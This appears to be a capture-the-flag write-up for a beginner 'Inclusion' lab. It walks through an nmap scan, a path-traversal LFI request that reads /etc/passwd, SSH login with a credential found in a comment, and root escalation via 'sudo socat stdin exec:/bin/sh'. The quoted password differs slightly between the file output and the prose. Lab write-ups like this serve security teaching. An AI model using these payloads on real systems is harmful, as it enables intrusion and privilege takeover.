This is a room best for beginners to understand and exploit LFI Vulnerabilty. If you want to follow along, You can join the room here, Inclusion
Enumeration:
First of all I ran the NMAP scan and found 2 ports open. Here’s what I found:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ nmap -A 10.10.186.213 -p- -vvv
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-12 20:54 PKT
Nmap scan report for 10.10.186.213 (10.10.186.213)
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e6:3a:2e:37:2b:35:fb:47:ca:90:30:d2:14:1c:6c:50 (RSA)
| 256 73:1d:17:93:80:31:4f:8a:d5:71:cb:ba:70:63:38:04 (ECDSA)
|_ 256 d3:52:31:e8:78:1b:a6:84:db:9b:23:86:f0:1f:31:2a (ED25519)
80/tcp open http Werkzeug httpd 0.16.0 (Python 3.6.9)
|_http-title: My blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.28 seconds
Okay so port 80 is open for http. Before I go and manually look, lets fire up dirsearch. Dirsearch did not find anything. But in my enumeration of the website, I found it to be vulnerable to LFI.
The parameter
article?name=
was vulnerable to LFI.
Exploitation
I tried reading the /etc/passwd file and I could see the contents.
http://10.10.186.213/article?name=../../../../../../../../../../etc/passwd
It returned this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
falconfeast:x:1000:1000:falconfeast,,,:/home/falconfeast:/bin/bash
#falconfeast:rootpassword
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:116:MySQL Server,,,:/nonexistent:/bin/false
And there was a comment in the /etc/passwd file.
falconfeast:rootpasswd
This looks like credentials, so lets use them for SSH into Falconfeast.
And it worked!
We’re in Falconfeast. The “user.txt” file is right in the home directory:
1
609************
And the first thing we do is run the command:
sudo -l
and we get:
1
2
User falconfeast may run the following commands on inclusion:
(root) NOPASSWD: /usr/bin/socat
We know that we can escalate privileges to root using SOCAT. So go over to GTFOBINS and search for SOCAT. We found this:
sudo socat stdin exec:/bin/sh
We use this and BOOM! We are ROOT! Root flag:
1
429********
Let me know if you like it or would like to let me know something from the contact links below ; )